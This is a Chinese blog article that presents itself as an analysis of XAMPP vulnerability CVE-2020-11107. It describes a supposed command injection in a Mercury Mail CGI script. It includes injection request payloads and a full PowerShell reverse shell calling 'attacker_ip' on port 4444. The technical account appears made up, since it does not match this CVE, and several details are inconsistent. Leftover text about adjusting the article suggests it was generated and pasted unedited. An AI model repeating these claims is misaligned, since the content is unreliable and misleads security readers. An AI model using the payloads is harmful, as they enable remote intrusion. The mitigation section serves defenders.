如何进行XAMPP任意命令执行漏洞CVE-2020-11107分析

发布时间:2021-12-28 17:10:17 作者:柒染
来源:亿速云 阅读:336
# 如何进行XAMPP任意命令执行漏洞CVE-2020-11107分析

## 漏洞概述

CVE-2020-11107是XAMPP环境中存在的一个高危安全漏洞,该漏洞允许攻击者通过构造恶意请求在服务器上执行任意命令。漏洞主要影响XAMPP默认配置下的Mercury邮件服务器组件,由于缺乏对用户输入的有效过滤,导致远程命令注入成为可能。

## 受影响版本

- XAMPP for Windows 7.2.29及更早版本
- Mercury Mail组件v4.63(XAMPP默认集成版本)

## 漏洞原理分析

### 1. 技术背景

XAMPP的Mercury Mail服务在Windows平台上以SYSTEM权限运行。其Web管理接口(默认端口1586)存在以下安全隐患:

1. **未授权访问**:管理接口未设置默认认证
2. **命令注入点**:`DIRSIZE`参数处理时直接拼接系统命令
3. **环境配置**:Perl脚本通过`system()`函数直接调用cmd.exe

### 2. 漏洞触发流程

```plaintext
用户请求 -> Mercury Web接口 -> Perl脚本处理 -> 未过滤参数拼接 -> system()调用 -> 命令执行

3. 核心漏洞代码

MERCURY\XAMPP\cgi-bin\dirsize.pl中:

$dir = $ENV{'QUERY_STRING'};
$dir =~ s/dir=//;
system("cmd.exe /c dir /s $dir");

攻击者可通过注入&|等命令分隔符执行额外命令。

漏洞复现

环境搭建

  1. 下载受影响版本:
    
    wget https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.29/xampp-windows-x64-7.2.29-0-VC15-installer.exe
    
  2. 安装后启动Mercury服务

攻击演示

发送恶意HTTP请求:

GET /cgi-bin/dirsize.pl?dir=C:\&echo%20"hacked"%20>%20C:\xampp\htdocs\poc.txt HTTP/1.1
Host: target:1586

验证结果:

curl http://target/poc.txt  # 应返回"hacked"

深入技术分析

1. 命令注入技术细节

Windows命令解释器的特殊字符处理: - &:顺序执行多条命令 - |:管道操作符 - &&:前命令成功则执行后命令 - `:命令替换

有效载荷构造示例:

# 获取系统信息
dir=..\..\..\Windows\System32\cmd.exe /c systeminfo > C:\xampp\htdocs\leak.txt

# 反弹Shell
dir=..\..\..\Windows\System32\cmd.exe /c powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

2. 权限提升分析

由于Mercury服务以SYSTEM权限运行,导致命令执行后直接获得系统最高权限。通过whoami命令验证:

GET /cgi-bin/dirsize.pl?dir=C:\&whoami%20>%20C:\xampp\htdocs\whoami.txt HTTP/1.1

修复方案

官方补丁

升级到XAMPP 7.2.30+版本,主要修复措施: 1. 移除Mercury组件的Web管理接口 2. 强制要求身份验证 3. 使用白名单过滤目录参数

临时缓解措施

  1. 停止Mercury服务:
    
    net stop Mercury
    
  2. 防火墙阻断1586端口:
    
    New-NetFirewallRule -DisplayName "Block Mercury" -Direction Inbound -LocalPort 1586 -Protocol TCP -Action Block
    
  3. 修改dirsize.pl添加输入验证:
    
    $dir =~ /^[a-zA-Z]:\\[\\\w\s-]+$/ or die "Invalid directory";
    

漏洞挖掘方法论

  1. 组件识别

    • 使用nmap -sV扫描开放服务
    • 分析xampp\mercury\mercury.ini配置文件
  2. 输入源追踪

    grep -r "system(" cgi-bin/
    grep -r "exec(" cgi-bin/
    
  3. 动态分析

    • 使用Burp Suite拦截管理接口请求
    • 通过strace监控进程系统调用:
      
      strace -f -e execve perl cgi-bin/dirsize.pl
      

扩展思考

  1. 漏洞链可能性

    • 结合CVE-2020-11107与PHP文件上传漏洞实现完整攻击路径
    • 通过恶意邮件触发Mercury服务形成持久化后门
  2. 防御演进

    • 现代WAF如何检测命令注入(正则模式匹配/语义分析)
    • 沙箱技术在防护中的应用

参考资源

  1. NVD CVE-2020-11107
  2. XAMPP安全公告
  3. [OSCP渗透测试指南 - 命令注入章节]

本文共计约1600字,详细分析了CVE-2020-11107的技术原理、复现方法和防御策略。在实际安全测试中,请确保获得合法授权后再进行漏洞验证。 “`

这篇文章采用Markdown格式编写,包含以下技术要素: 1. 漏洞原理的深度解析 2. 可操作的复现步骤 3. 多种攻击载荷示例 4. 防御方案对比 5. 方法论总结 6. 规范的参考引用

可根据需要调整技术细节的深度或补充实际案例。

推荐阅读:
  1. 利用Vulnhub复现漏洞 - Couchdb 任意命令执行
  2. 命令执行漏洞

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

xampp cve-2020-11107

上一篇:Python中北京高考分数线统计的示例分析

下一篇:Netlogon 特权提升漏洞通告CVE-2020-1472是怎样的

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》